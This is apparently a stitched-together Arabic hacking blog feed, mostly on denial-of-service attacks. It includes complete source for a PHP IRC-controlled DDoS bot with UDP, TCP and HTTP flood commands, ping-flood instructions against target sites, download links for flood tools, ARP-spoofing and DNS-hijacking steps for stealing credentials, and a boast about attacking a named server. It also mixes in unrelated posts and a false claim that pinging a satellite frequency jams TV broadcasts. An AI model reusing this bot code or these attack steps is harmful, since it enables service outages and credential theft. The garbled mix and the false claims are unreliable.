48px الدرس الثاني مفاهيم هجوم #Sockstress #ddos #حجب_الخدمة

مقدمة

يعتبر Sockstress من أخطر أنواع هجوم الـ (DoS)، حيث أن هذا الهجوم يعتمد على إكمال الـ (TCP 3-Way Handshaking) حتى يظهر بأنه عملية إتصال طبيعية، ويحتاج إلى إمكانيات قليلة مقارنة بالأنواع الأخرى من هجوم الـ (DoS)، ويعتمد بشكل أساسي على خاصية الـ (XXXXXX Size).
إن من التحسينات التي تمت على الـ (TCP) هو استخدام خاصية الـ (TCP XXXXXX Size)، فبعد القيام بعملية (3-Way Handshaking) يتبادل جهاز الـ (Server) مع جهاز الـ (Client) حجم المعلومات التي يستطيع استقبالها في كل (Packet) دون الحاجة إلى تأكيد (Ack) في هذه العملية الأخيرة.
هجوم (SockStress) يعتمد على إستخدام هذه الخاصية لاستنزاف موارد الـ (Server), حيث يقوم هذا الهجوم باستنزاف الذاكرة لدى الـ (Server) بسرعة فائقة من خلال تقليص حجم الـ (TCP XXXXXX Size), هذا الهجوم فعال على كل أنظمة التشغيل(XXXXXXs , LinuxM , BSD) و جميع أجهزة الشبكات (Routers, L3 Switches) و أي تطبيق يقبل الاتصال على بروتوكول الـ TCP.
مفهوم هجوم الـ Sockstress

1) يبدء المهاجم الإتصال مع الـ (Server) من خلال عملية (TCP 3-Way Handshaking) طبيعية.
2) يقوم المهاجم بإرسال (2 TCP Queries) على التوالي إلى الـ (Server)
2.a) طلب معلومات عادية من الـ (Server) تتطلب رداً إلى الـ (Client).
2.b) الـ (TCP Packet) تعلم الـ (Server) أن جهاز الـ (Client) لا يستطيع أن يستقبل أي معلومات حالياً (XXXXXX Size = Zero).
3) يبقي المهاجم الإتصال مفتوح، وبنفس الوقت يبقي (XXXXXX Size = 0) بمعنى أنه لا يستطيع أن يستقبل أية معلومات.

4) كنتيجة لهذا الاتصال, فإن الـ (Server) بداية يقوم بتحضير المعلومات التي طلبها الـ (Client)، لكنه يبقيها في الذاكرة لأن العميل قد أخبره مباشرة بعد طلبه هذه المعلومات أنه لا يستطيع إستقبالها، وكنتيجة لذلك فإن ذاكرة الـ (Server) تمتلئ بوقت قياسي عندما يقوم المهاجم بتكرار هذا الإتصال لفترة قليلة نسبياً، مما يؤدي إلى عدم تمكن الـ (Server) من التعامل مع أي إتصال جديد والوصول إلى حالة من الـ (Memory Overflow)، وهي النتيجة التي تحصل عادة من جميع أنواع هجوم الـ (DoS).
لتحميل أداة هذا الهجوم ورؤية طريقة إستخدامها على الرابط التالي:
https://defuse.ca/sockstress.htm
حيث أنني وجدت في هذا الموقع شرحاً مبسطاً لإستخدام هذه الأداة للقيام بهجوم (SockStress), لكن يرجى العلم بأن طريقة الحماية المشروحة في هذا الموقع غير عملية أبداً وغير مجدية.
وأقترح هنا استخدام (Proactive Intrusion Prevention)، مثل NETASQ الذي يقوم بعمل فحص كامل لـِ (TCP)، ويقوم بمتابعة حالة جميع الإتصالات المفتوحة، وبإستخدام التحليل الإحصائي والإعتماد على تحليل الـ (Heuristic) يستطيع التمييز باختلاف حجم الـ (XXXXXX Size)، وتحديد ما يصلح منها. وكنتيجة لذلك فإنه يسمح فقط للإتصالات الحقيقة بالوصول إلى الـ (Server)، وإيقاف جميع إتصالات الهجوم.

Follow @KAMINDOZ Tweet

نظام DoS.deny #ddos #حجب_الخدمة

نظام (DoS.deny) ما هو نظام (DoS.deny) ؟ نظام الحماية Dos.deny هو نظام مخصص لاكتشاف هجمات الحرمان من الخدمة DOS والتصدي لها ومنعها من التأثير على أداء المخدمات أو المواقع التي تسعمل هذا النظام، ولمن لا يعرف ما هي عمليات الحرمان من الخدمة، فهي قيام شخص باستهداف موقع ما وذلك بإرسال قدر هائل من طلبات التصفح HTTP Request بغرض منع الموقع من العمل بشكل سليم أو إبطاء عمل الموقع، أو حتى الإطاحة بشكل كامل بخادوم الموقع بحيث يقف نظام الخادوم (Apache / IIS...) عن العمل نهائيا جراء الكم الهائل من أوامر التصفح. كيف يعمل نظام Dos.deny ؟ عن طريق إضافة سطر واحد إلى ملفات موقعك، سيكون بإمكان النظام قراءة رقم الأي بي (IP) لكل زائر، وعن طريق تخزين هذه الأرقام وتتبعها وفقاً لخوارزمية معينه سيكون بمقدور النظام اكتشاف عمليات الحرمان من الخدمة وذلك بضوابط يمكن لمدير الموقع التحكم بها من خلال لوحة التحكم، بمعنى أنه يمكنك تحديد كم عدد المحاولات والفترة التي تقع فيها هذه المحاولات، والتي على أساسها يمكن الحكم ان هذا الأي بيIP)) يقوم بهجمة للحرمان من الخدمة ! عندها سيقوم النظام بالكتابة في ملفات من نوع.htaccess وذلك لمنع ذلك IP من الوصول إلى موقعك (أو أجزاء من موقعك تستطيع تحديدها أيضا( هل يدعم هذا النظام هجمات الحرمان من الخدمة الموزعة (DDOS) ؟ ليس بشكل كامل.. لن يستطيع هذا النظام الحماية من هجمات الحرمان من الخدمة الموزعه DDOS إذا كانت الهجمات تتم عن طريق عدد كبير جدا من أرقام الأي بي، اما إذا كانت الهجمه تتم عن طريق عدد محدود من أرقام الأي بي، فمن خلال ضبط الإعدادات بشكل أكثر صرامة سيكون بمقدورك إيقاف أو الحد من هذه العمليات بشكل كبير.

Follow @KAMINDOZ Tweet

كيفية استخدام Ddos في الهجوم #ddos #حجب_الخدمة

(Ddos Attack)


استخدام الدوس في الهجوم
Runاولا نذهب الى
cmd نكتب الامر
ping نكتب
ثم فراغ
ثم نضع اسم الموقع المستهدف
يخرج لنا اي بي السيرفر
نكتب الامر التالي
ping ip -t -l 30000
-lهذه سالب ال وليس سالب واحد.....
30000 تغيرها حسب سرعة اتصالك
تحتاج لفريق للهجوم على موقع معين بنفس الوقت واغراق السيرفر بالبيانات

Follow @KAMINDOZ Tweet

هجمات (TCP SYN - TCP ACK Flood #ddos #حجب_الخدمة

بسم الله الرحمن الرحيم

السلام عليكم

هجمات (TCP SYN flood ) يشار إليها أيضاً بهجمات (TCP ACK ) الشائعة جداً .

• الغرض من هذه الهجمات هو " إنكار الخدمة " (deny service ) .

• يبدأ الهجوم من خلال اتصال طبيعى لبروتوكول TCP ... حيث يقوم كل من ( السيرفر – الكلاينت ) بتبادل المعلومات فى حزمة بيانات TCP ... والشكل التالى يصور كيف يحدث الهجوم

• الملاحظة أن الـ (TCP client ) يستمر فى إرسال " حزم إشعار الاستلام " (ACK packets ) إلى السيرفر ... حزم إشعار الاستلام هذه (ACK packets ) تخبر السيرفر بأن هناك اتصال مطلوب ... فيرد السيرفر بحزمة إشعار استلام (ACK packet ) إلى الكلاينت ... بينما يفترض الكلاينت أن يستلم حزمة أخرى تفيد بـ ( قبول الاتصال – تأسيس جلسة الاتصال ) .

• ففى هذا النوع من الهجمات يستمر الكلاينت فى ( إرسال – واستقبال ) حزم إشعار الاستلام (ACK packets ) لكن لا يتم فتح الجلسة ... حيث يقوم السيرفر بإيقاف فتح الجلسة انتظاراً لوصول الحزمة النهائية فى سلسلة الطلبات ... وهذا يغرق السيرفر فى سيل من طلبات فتح الجلسات – وينكر على زبائن آخرين القدرة على الوصل إل مصادر السيرفر ) .

• هذا الهجوم لا يمكن إيقافه عملياً فى أكثر البيئات ... بدون العمل مع (upstream providers ) .

• العديد من الموجهات (routers ) الجديدة يمكنها أن ( تتعقب – تحاول منع هذا الهجوم ) عن طريق وضع حدود لطول الجلسة الأولية ... لإجبار الجلسات التى لا تكتمل على الإغلاق .

• هذا النوع من الهجوم يمكن أن يكون أيضاً غير قابل للكشف ... حيث يمكن للمهاجم أن يستخدم عنوان IP غير سليم ... وبروتوكول TCP لن يهتم لأنه يرسل رد على أى طلب يرد إليه من طبقة IP (IP layer ) .

Follow @KAMINDOZ Tweet

Talking سكربت لغة بايثون لهجووم dd0s #ddos #حجب_الخدمة

اللهم صلي علي محمد وال محمد اليوم معنا سكربت لهجووم دي دووس هجووم المفضل لاخونا كومندوز ^_^ مانطوول نجي لرابط تحميل http://www.gulfup.com/?gkryZ4 علي فكره تقدرون تفتحوون اكثر من نافذه وتسوي اكثر من هجووم اسم ملف pyloris.py اضغط عليه دبل كليك وراح تفتح لك نافذه ... وعليك باااقي تحياااتـــــــــــــــــــــي لــــــــــــــــــكــــــــــــــــــــــــــــــ ــــــم ... كــــــــــــــــــــــوبـــــــــــــــــــــــــ ـــــــــــــراا

Follow @KAMINDOZ Tweet

سكربتات تستخدم في هجمات #ddos #حجب_الخدمة #dos

سكربت لشن هجمات DDOS يعتمد على قنوات IRC

كود:

<?php
/*

  Simple PHP DDOSER
  (C) 2010-2011(Private)
  Www.Ashiyane.org
--------------------------
 Researcher By MobtakerZ

*/

//EDIT HERE!!!
$server="your_irc_Server";
$Port="6667";
$nick="slave-";$willekeurig;
$willekeurig=mt_rand(0,3);
$nicknummer=mt_rand(100000,999999);
$Channel="#yourchannel";
$Channelpass="yourpwd";
$msg="Farewell.";
//STOP EDITING!

set_time_limit(0);
$loop = 0; $verbonden = 0;
$verbinden = fsockopen($server, $Port);

while ($read = fgets($verbinden,512)) {

   $read = str_replace("\n","",$read); $read = str_replace("\r","",$read);
   $read2 = explode(" ",$read);

   if ($loop == 0) {
     fputs($verbinden,"nick $nick$nicknummer\n\n");
     fputs($verbinden,"USER cybercrime 0 * :woopie\n\n");
   }

   if ($read2[0] == "PING") { fputs($verbinden,'PONG '.str_replace(':','',$read2[1])."\n"); }

   if ($read2[1] == 251) {
     fputs($verbinden,"join $Channel $Channelpass\n");
     $verbonden++;
   }

//READING AREA
   if (eregi("bot-op",$read)) {
    fputs($verbinden,"mode $Channel +o $read2[4]\n");
   }


   if (eregi("bot-deop",$read)) {
    fputs($verbinden,"mode $Channel -o $read2[4]\n");
   }

   if (eregi("bot-quit",$read)) {
    fputs($verbinden,"quit :$msg\n\n");
    break;
   }

   if (eregi("bot-join",$read)) {
    fputs($verbinden,"join $read2[4]\n");
   }

   if (eregi("bot-part",$read)) {
    fputs($verbinden,"part $read2[4]\n");
   }


   if (eregi("ddos-udp",$read)) {
    fputs($verbinden,"privmsg $Channel :ddos-udp - started udp flood - $read2[4]\n\n");
 $fp = fsockopen("udp://$read2[4]", 500, $errno, $errstr, 30);
 if (!$fp)
 {
 //echo "$errstr ($errno)<br>\n"; //troep
 exit;
 }
 else
 {
 $char = "a";
 for($a = 0; $a < 9999999999999; $a++)
  $data = $data.$char;

 if(fputs ($fp, $data) )
  fputs($verbinden,"privmsg $Channel :udp-ddos - packets sended.\n\n");
 else
  fputs($verbinden,"privmsg $Channel :udp-ddos - <error> sending packets.\n\n");
 }
   }

   if (eregi("ddos-tcp",$read)) {
    fputs($verbinden,"part $read2[4]\n");
 fputs($verbinden,"privmsg $Channel :tcp-ddos - flood $read2[4]:$read2[5] with $read2[6] sockets.\n\n");
 $server = $read2[4];
 $Port = $read2[5];

 for($sockets = 0; $sockets < $read2[6]; $sockets++)
 {
 $verbinden = fsockopen($server, $Port);
 }
   }

   if (eregi("ddos-http",$read)) {
    fputs($verbinden,"part $read2[4]\n");
 fputs($verbinden,"privmsg $Channel :ddos-http - http://$read2[4]:$read2[5] $read2[6] times\n\n");
 $Webserver = $read2[4];
 $Port = $read2[5];

 $Aanvraag = "GET / HTTP/1.1\r\n";
 $Aanvraag .= "Accept: */*\r\n";
 $Aanvraag .= "Accept-Language: nl\r\n";
 $Aanvraag .= "Accept-Encoding: gzip, deflate\r\n";
 $Aanvraag .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
 $Aanvraag .= "Host: $read2[4]\r\n";
 $Aanvraag .= "Connection: Keep-Alive\r\n\r\n";

 for($Aantal = 0; $Aantal < $read2[6]; $Aantal++)
 {
 $DoS = fsockopen($Webserver, $Port);
 fwrite($DoS, $Aanvraag);
 fclose($DoS);
 }
   }
   $loop++;

}
?>

المزيد

http://ashiyane.org/forums/showthread.php?35484-%D8%A7%D8%B3%DA%A9%D8%B1%DB%8C%D9%BE%D8%AA-DDoS

Follow @KAMINDOZ Tweet

Wink تشويش على اي قناة فضائية #ddos #حجب_الخدمة #دوز_اتاك #dos_attack

السلام عليكم

اولا لازم نجيب تردد القناة وافضل طريقة من خلال الريسيرف

الريسيرف:لما بدك تولف اي قناة لازم يكون عندك رقم الريسيرف مثال 11938 (هذا mbc4)

نروح للدوس ونحط الامر التالي: ping 11938

بيطلعلنا التردد على شكل ايبي كالتالي: 0.0.46.162

ننسخ هاذا الرقم ونروح للمفكرة: notepad

نكنب كالتالي: ping 0.0.46.162 -t

ونحفظ الملف بأي اسم مع مراعاة الامتداد: bat

نفتح الملف عندنا الربع او خمس مرات

لازم يكون الهجوم من 50 شخص واكثر

وبالتالي رح تكون النتيجة اما انقطاع البث او التشويش

تحياتي لكم

Follow @KAMINDOZ Tweet

Criando Rede #Zumbi (#BotNet) - Nickguitar.dll #ddos #حجب_الخدمة

السلام عليكم


اليوم معي شرح حول بعض طرق هجمات حجب الخدمة وخاصة عن طريق البوت نت زومبي
Criando Rede Zumbi (BotNet) - Nickguitar.dll

http://www.youtube.com/watch?v=nlnpPUWCFbo

Follow @KAMINDOZ Tweet

سحابة الكلمات الدلالية لمدونات بلوغر -r00tnetwork.org

بعد الصلاة و السلام على خير الأنام محمد الصادق الأمين ، هذه المرة سنتعرف و رفقتكم الطيبة طريقة تركيب هاك الكلمات المفاتيح أو الكلمات الدلالية كما يحلو للكثير نعتها . الإضافة ترتكز بالإساس على تصنيفات المدونة و تعرضها على شكل ركام تختلف فيه أحجام النصوص حسب قوة التداول داخل المدونة ، و تجدر الإشارة إلى أن هذه الإضافة تساهم في رفع تلاؤم المدونة و محركات البحث SEO .

تجدون مثالا مباشرا لها على مدونتي و هذه صورة توضيحية :


تحديث : الآن أصبح بالإمكان إضافتها بطريقة سهلة من خلال أداة التسميات . تابع الشرح من هنــــا .



قبل البدء في في الشرح أشير إلى شيئين أساسيين أولهما حفظ نسخة من القالب قبل التعديل عليه حتى لا ينالك من الأمر إلا ما نال حنين و خفيه :) . ثانيهما ضرورة وجود على الأقل أداة " تصنيفات" واحدة في مدونتك ، إذا لم توجد فركبها كالآتي :
لوح تحكم المدونة » التخطيط » عناصر الصفحة » ثم أضف أداة تصنيفات جديدة .
الآن سنضيف كودا إلى القالب و ننهي العملية :
لوح تحكم المدونة » التخطيط » تحرير Html ثم تبحث عن هذا الكود أو ما يشبهه .

الكلمة باللون الأخضر تختلف عادة فهناك من يسميها أقسام و آخر تصنيفات ... لذلك حاول أن تبحث فقط ببعض الكود مثلا widget id='Label1 ثم انظر إن كان يشبه الكود السابق . بعد إيجاده قم بتحديده كاملا أي ابتداء من القوس المعقوف الأول و انتهاء عند الثاني كما في الصورة ثم تلصق مكانه الكود الأخير الذي بعد الصورة و تحفظ القالب و مبروك عليك .


الكود :

بعدها يمكنك إضافة مربع تصنيفات بشكله التقليدي العادي .

Follow @KAMINDOZ Tweet

خالد الملا : اهالي الموصل سنتفضون لطرد داعش

خالد الملا : اهالي الموصل سنتفضون لطرد داعش

13/06/2014 03:34

قال رئيس جماعة علماء العراق الشيخ خالد الملا، إن هدف عصابات "داعش" الارهابية هو زرع الفتنة الطائفية بين ابناء الشعب العراقي ، مشيرا إلى شرارة انتفاضة اهالي الموصل ستكون قريبة لتحرير مدينتهم بالتعاون مع القوات الامنية .



















وأضاف الملا لـ(IMN) إن " المجاميع المتطرفة جاءت لتقتل جميع المكونات العراقية وبدون استثناء لزرع الفكر الطائفي ."مبينا أن " ماقامت به من جرائم القتل بحق الابرياء خير دليل على ذلك ".











وأضاف أن " هناك انتفاضة شعبية تلوح بالافق من اهالي الموصل ستتحقق بعد أن يكشفوا الوجه الحقيقي لعصابات داعش الذين سلبوا اموال المحافظة ودمروا البنى التحتية ".











وتشهد مدينة الموصل والفلوجة وكركوك وبيجي وتكريت وسامراء ونينوى والرمادي ازمة امنية ، هي الاولى من نوعها منذ عام 2003 .

Follow @KAMINDOZ Tweet

تنفيذ هجوم Arp Spoofing بإحتراف

 السلام عليكم ورحمة الله وبركاته
اعتقد بأن الكثير من الاشخاص قام بالتعرف على هجوم arp spoofing وقام بالتطبيق والتجربه على شبكته الخاصه ، والطبع الهدف من هذا الهجوم هو تحويل جميع الاتصالات الصادره والوارده في الشبكه ما بين جهاز الهدف و الراوتر ، الى المرور بجهاز المهاجم .
بشكل مبسط اكثر ، أن أي اتصال صادر او وارد من جهاز داخل الشبكه ، يقوم بالمرور بجهاز المهاجم الى الراوتر والعكس ايضاً.
طبعاً الاغلب لاحظ بطئ هذه العمليه والتي تميل الى الشبه ، لنفرض بأننا قمنا بتحويل اي طلب لموقع فيس بوك  الى صفحه مزوره موجوده لدينا في الجهاز ولذلك لاصطياد الباسووردات ، سنلاحظ بشكل كبير بطئ الاتصال بسبب كثرت ارسال arp packets من جهازك لخداع المتواجدون على الشبكه ، وهذا الامر سوف يثير الشك للهدف او الشخص المتواجد في الشبكه .
لو قمنا بتحليل عملية arp spoofing بشكل مبسط ، نجد بأن كل ما نريده من هذه العمليه تحويل الاتصالات لجهازنا ، والتقاط هذه البيانات باستخدام برامج الــ Sniff ، مثل WireShark او dsniff وغيرها من هذه البرامج .
ولنركز اكثر بأن لو قمنا بهذه العمليه داخل مؤسسه او شركه معينه ، بأستطاع المهندس المسؤول عن حماية الشبكه داخل المؤسسه من تحديد الجهاز الذي يقوم بهذه العمليه ، لانه جهاز الهدف مثل ما ذكرت يقوم بارسال arp packets بشكل كبير لخداع المستخدمين.
ماذا لو قمنا بهذه العمليه دون أن يشعر احد بذلك  ؟
كل ما نحتاج اليه تصنيع او شراء جهاز اسمه Passive Ethernet Tap !!
الجهاز ليس غالي الثمن وايضاً ليس معقد ، وبأمكان اي شخص القيام بصنعه ! ، فكرة هذا الجهاز هي القيام بعمل 4  منافذ لكيبل الانترنت ، المنفذ الاول نقوم بربطه بجهاز الـ Switch او Gateway ، او بمعنى اخر مزود الانترنت والمنفذ الاخير نقوم بربطه اما بجهاز الهدف او بالراوتر الموزع للشبكه ، اما المنافذ المتبقيه نقوم بربطها بجهاز المهاجم .
الصوره توضح اكثر


اعتقد بأن البعض لن يفهم المبدأ بشكل جيد ، ولكن هذه الصوره توضح اكثر




بهذه الطريقه لن نقوم بأي شيء سوى فتح برنامج Wireshark او ما تريد ، والاستمتاع بقراءة البيانات الماره بالشبكه !
ولكن تبقى المشكله أذ كان المهندس متمكن في الحمايه ، لانه عند فتح برنامج Wireshark او اخوته سيجعل كرت الشبكة عندك Promiscuous mode لكي يتمكن من التقاط جميع البيانات الماره !
ان اصبت فمن الله ، وأن اخطئت فمني ومن الشيطان .

روابط مهمه /
http://en.wikipedia.org/wiki/Promiscuous_mode
http://www.altsec.info/passive-network-tap.html

Follow @KAMINDOZ Tweet

Linksys Malware 'The Moon' Spreading from Router to Router

Which Wireless Router do you have at your Home or Office? If it’s a Linksys Router you could be in the danger to a new malware that attacks your firmware and replicates itself.

Security researcher Johannes B. Ullrich from the SANS Technology Institute has warned about a self-replicating malware which is exploiting authentication bypass and code-execution vulnerabilities in the Linksys wireless routers.

The Malware named as ‘THE MOON’, scans for other vulnerable devices to spread from router to router and Johannes confirmed that the malicious worm has already infected around 1,000 Linksys E1000, E1200, and E2400 routers.

In order to hack the Router, malware remotely calls the Home Network Administration Protocol (HNAP), allows identification, configuration and management of networking devices.

The Malware first request the model and firmware version of the router using HNAP and if the device founds vulnerable, it sends a CGI script exploit to get the local command execution access to the device.

Linksys's parent company has confirmed that HNAP1 implementation has a security flaw whose exploit code is publicly available on the Internet.

“There are about 670 different IP ranges that it scans for other routers. They appear to all belong to different cable modem and DSL ISPs. They are distributed somewhat worldwide),”

‘To what extent this worm can be dangerous’ is yet a question.

“We are still working on analysis what it exactly does. But so far, it looks like all it does is spread (which is why we call it a worm). It may have a ‘call-home’ feature that will report back when it infected new hosts.”

To verify that your device is vulnerable or not, use following command (depending on your OS):

echo [-e] “GET /HNAP1/ HTTP/1.1\r\nHost: test\r\n\r\n” | nc routerip 8080

If you receive an XML HNAP reply, you are likely to be victimized for the worm affecting Linksys devices and some preventive measures are to be taken. Also keep an eye on the logs of port 80 and 8080.

Users are recommended to Disable Remote Administration of their device or limits the administration right to a limited number of trusted IP addresses.

Follow @KAMINDOZ Tweet

Hackers exploiting Router vulnerabilities to hack Bank accounts through DNS Hijacking

In past months, we have reported about critical vulnerabilities in many wireless Routers including Netgear, Linksys, TP-LINK, Cisco, ASUS, TENDA and more vendors, installed by millions of home users worldwide.

Polish Computer Emergency Response Team (CERT Polska) recently noticed a large scale cyber attack ongoing campaign aimed at Polish e-banking users.

Cyber criminals are using known router vulnerability which allow attackers to change the router's DNS configuration remotely so they can lure users to fake bank websites or can perform Man-in-the-Middle attack.

'After DNS servers settings are changed on a router, all queries from inside the network are forwarded to rogue servers. Obviously the platform of a client device is not an issue, as there is no need for the attackers to install any malicious software at all.' CERT Polska researchers said.

That DNS Hijacking trick is not new, neither most of the router vulnerabilities are, but still millions of routers are not patched or upgraded to the latest firmware version.

The Domain Name System, or DNS, the Internet’s method of converting Web page names into IP address numbers can be hijacked just by changing the server address to a malicious DNS server from router's settings; and that which malicious DNS server should be in control of the hacker to facilitate interception, inspection and modification of the traffic between users and the online banking websites they wanted to target.

"It looks like criminals are primarily targeting e-banking users as they modify DNS responses for several banking domains, while resolving other domain names normally." they said.

Most of the Banking and E-commerce sites are using HTTPS with SSL encryption, making it impossible to impersonate them without a valid digital certificate issued by a Certificate Authority (CA), but to bypass such limitation cyber criminals are also using the SSL strip technique to spoof digital certificates. 

“While criminals intercept the unencrypted request, they simply modify links to clear HTTP, adding “ssl-“ String to a hostname, apparently in an attempt to fool casual users (Note that the nonexistent ssl-. hostnames would only be resolved by malicious DNS servers) While the connection is proxied through malicious servers, SSL is terminated before it reaches the user. Decrypted content is then modified and sent unencrypted to the customer.”

"In cases we have seen, they produced a self-signed certificate for thawte.com domain, which causes a browser to complain about both domain name mismatch and lack of a trusted CA in the certificate chain. This should be a clear indicator of the fraud for most users."

Demonstration of Exploitation:
Penetration tester and Computer Science Student, ABDELLI Nassereddine from Algerian, who reported previously about critical unauthorized access and password disclosure vulnerability in the TP-LINK Routers provided by Algerie Telecom, has also published the practical demonstration on 'How to Hack Victim's computer and accounts by hijacking Router's DNS server'.

To perform this, he used DNS Proxy tool 'Dnschef' and exploitation tools including Metasploit, webmitm and Burp Suite. Steps to follow:

• Install these tools and run following command:

./dnschef.py –interface 192.168.1.106 –fakeip 192.168.1.106 

(where interface is the original IP address and fakeip is the resolution of the DNS query)

• Run 'webmitm tool' that will handle the HTTP requests and responses and also forward the traffic to Burp Suite Proxy to inject an iframe of the Metasploit's Browser AUTOPWN Server.
• Launch the Bowser AUTOPWN module on Metasploit and get access.

Our readers can get detailed explanations of exploitation technique on the Nassereddine's blog.

How to Protect?
Now that you know how hackers can target routers to mess up the internet connection or even steal banking, Facebook, Google passwords, the next best thing to do is to secure your own routers:

• Change the default username and password.
• Update the Router's firmware to latest patched version.
• Users can spot fake sites by pay attention to the browser’s address bar and HTTPS indicators.
• Disable Remote Administration feature, especially from WAN. The router should be configurable only from the local network or LAN.

Follow @KAMINDOZ Tweet

Killapache: DDOS tool - Half of the Internet is vulnerable now !

Killapache: DDOS tool - Half of the Internet is vulnerable now !

The Apache Software Foundation has announced a denial-of-service vulnerability that affects all versions of the ubiquitous Apache web server, leaving up to 65% of all websites vulnerable. A unknown flaw in the code for processing byte range headers allows versions 2.2.x of the Apache Web Server to be crippled from a single PC. A suitable “Apache Killer” Perl script that impressively demonstrates the problem.

How does killapache DDOS tool work?
killapache sends GET requests with multiple “byte ranges” that will claim large portions of the system’s memory space. A “byte range” statement allows a browser to only load certain parts of a document, for example bytes 500 to 1000. It is normally used while downloading large files. This method is used by programs such as download clients to resume downloads that have been interrupted; it is designed to reduce bandwidth requirements. However, it appears that stating multiple unsorted components in the header can cause an Apache server to malfunction.

There is no patch yet released for this vulnerability on apache, but a few work arounds have been found. These have been posted by The Apache Software Foundation and can be used until a stable fix is released.The vulnerability works by exploiting a feature in web servers that gives you the ability to pause and resume your downloads. These days if you have to stop downloading something part-way through you can generally pick up where you left off and you don't have to start again from scratch.

 

Download killapache

Follow @KAMINDOZ Tweet

هجوم كاسح من قبل الجيش الشيعي الالكتروني وكل الفرق الشيعه على امان العرب وتوقف الموقع

هجوم كاسح من قبل الجيش الشيعي الالكتروني وكل الفرق الشيعه على امان العرب وتوقف الموقع بسبب الهجوم ضد الموقع

http://46.151.211.133/

ابي السيرفر طاااااااااااااااااااااااااار ههههههههههههههههههههههههه

الموقع متوقف 24 ساعه ولحد الان الهجوووم مستمر

Follow @KAMINDOZ Tweet

DOS/DDOS Saldırıları ve Korunma Yöntemleri

DOS/DDOS Saldırıları ve Korunma Yöntemleri
1. Denial Of Service Atakları
1.1. Çeşitleri
1.2. Amaçları
1.3. DOS Atak Çeşitleri
1.3.1. Smurf, Ping Of Death, TearDrop, SYN Flood, UDPFlood
2. DDOS Atakları
3. DDOS Çeşitleri ve Araçları
3.1. SYN Flood, UDPFlood, icmpflood, smurf, fraggle, http flood
4. DDOS amaçlı kullanılan WORMlar.
5. Ircbot, zombie, BotNet Kavramları
6. Botnet kullanım alanları
7. Fast-Flux networkler ve çalışma yapıları
8. DNS sunuculara yönelik DDOS saldırıları
9. Kablosuz Ağlara yapilan DOS saldirilari
10. DOS/DDOS Saldırılarından Korunma Yolları
10.1. Syn cookie, syn proxy, syn cache yöntemleri

Follow @KAMINDOZ Tweet

OWASP Zed Attack Proxy (ZAP) project v2.2.1 released - easy to use integrated penetration testing tool for finding vulnerabilities in web applications

The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.
ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually. 

Changes: ZAP 2.2.*

 adds support for scripts embedded in ZAP components like the active and passive scanners. It adds support for Zest - a new security focused scripting language from the Mozilla security team.It also supports Mozilla Plug-n-Hack, various minor enhancements and lots of bug fixes. 2.2.1 includes a fix for a bug that prevented scripts working properly on Windows.  

Download ZAP -
ZAP_WEEKLY_D-2013-09-16.zip
http://code.google.com/p/zaproxy/downloads/list

Source-
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

Screenshot -

 

Follow @KAMINDOZ Tweet

Subterfuge - The Man-in-the-Middle Attacks Framework v1.0 released

Enter Subterfuge, a Framework to take the arcane art of Man-in-the-Middle Attacks and make it as simple as point and shoot. Subterfuge demonstrates vulnerabilities in the ARP Protocol by harvesting credentials that go across the network and even exploiting machines by injecting malicious code directly into their browsing sessions.


The first step in any Subterfuge attack is gaining a Man-in-the-Middle position. Currently, Subterfuge only ships with one method of establishing itself as MITM, ARP Cache Poisoning. Nevertheless, as a framework, its modular design allows it to support multiple methods.

Some used attacks
ARP Cache Poisoning
Dynamic Poison Retention & ARPBLock

Subterfuge comes with modules that give the ability to leverage the position quickly and easily. Moreover, if your needs are particularly specific, you can create a module for Subterfuge without the need to launch your own attack from scratch. Subterfuge comes packaged with several default modules that you can use to great effect.

List of some integrated modules
Credential Harvester
Session Hijacking
HTTP Code Injection
Denial of Service
Tunnel Block
Network View
Evilgrade

Version 1.0 is the first release of Subterfuge to have come out of Beta! It includes significant package upgrades, compatibility fixes, a modified interface, and a whole new packaging system.

The tool comes with a rich documentation and examples. Take care to go through the website

Download
FAQ
Subterfuge Documentation
Troubleshooting Guide
Development Blog

Source-
http://www.toolswatch.org/2014/01/subterfuge-the-man-in-the-middle-attacks-framework-v1-0-released/
http://kinozoa.com/index.php

Follow @KAMINDOZ Tweet

The Zed Attack Proxy (ZAP) 2.2.2 released

The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.

It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.

ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually

Some of ZAP's functionality:-
Intercepting Proxy
Traditional and AJAX spiders
Automated scanner
Passive scanner
Forced browsing
Fuzzer
Dynamic SSL certificates
Smartcard and Client Digital Certificates support
Web sockets support
Support for a wide range of scripting languages
Plug-n-Hack support
Authentication and session support
Powerful REST based API
Automatic updating option
Integrated and growing marketplace of add-ons
Download ZAP 

ZAP 2.2.2 is available via the above link, for more details see the release notes

You can also get cross platform weekly releases which include all of the latest changes.

ZAP Is the Top Security Tool of 2013 as voted by ToolsWatch.org readers!

For more details about ZAP, including the full user guide, see the wiki.
For more videos see the links on the wiki videos page.

Source-

https://www.owasp.org/index.php/ZAP

Follow @KAMINDOZ Tweet

Dequiem v-1.8 - Python DDoS Tool Dequiem v-1.8 Dequiem is a DDoS tool written in python 2.7

Features 

• DDoS
• Find a website's IP
• Port Scanning

Requirement :

Python v2.7 or higher

Download
Dequiem1.8.py (8.6 kB) from Here

For More Information  

http://sourceforge.net/projects/dequiem/
http://sourceforge.net/p/dequiem/blog/

Release Changes in Ver 1.8

Patch notes :
-portscan mode added
-help mode changed
-interface is better now

Warning -
Never Use it for attack on the servers that is not your own server or don't use it without permission from Owner.

This Information is shared from Education Purpose Only.

Follow @KAMINDOZ Tweet